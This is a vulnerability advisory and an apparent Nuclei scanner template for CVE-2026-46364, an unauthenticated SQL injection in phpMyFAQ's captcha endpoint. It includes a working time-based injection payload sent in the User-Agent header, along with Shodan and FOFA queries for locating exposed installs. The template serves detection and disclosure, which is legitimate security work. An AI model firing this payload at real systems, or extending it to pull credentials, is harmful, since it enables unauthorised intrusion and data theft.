phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
PoC
id: CVE-2026-46364
info:
name: phpMyFAQ <= 4.1.1 - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
impact: |
Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
remediation: |
Upgrade phpMyFAQ to version 4.1.2 or later.
reference:
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
- https://www.phpmyfaq.de
- http://nvd.nist.gov/vuln/detail/CVE-2026-46364
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
epss-score: 0.01709
epss-percentile: 0.76174
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1194891278
fofa-query: app="phpMyFAQ"
tags: cve,cve2026,sqli,phpmyfaq
http:
- raw:
- |
@timeout: 20s
GET /api/captcha HTTP/1.1
Host: {{Hostname}}
User-Agent: x' OR SLEEP(8) OR 'x
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
- 'contains(body, "Truncated incorrect DOUBLE")'
condition: and
# digest: 4a0a00473045022100ec2f78ce95096ca4017e29839c1c92cee76520b7e42c78b8eb6bfb484fb4ef5f022029ace1ab99a13341669a68a81d3cdbb983dd6f0c88cd6ddd0915e38ad77df339:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.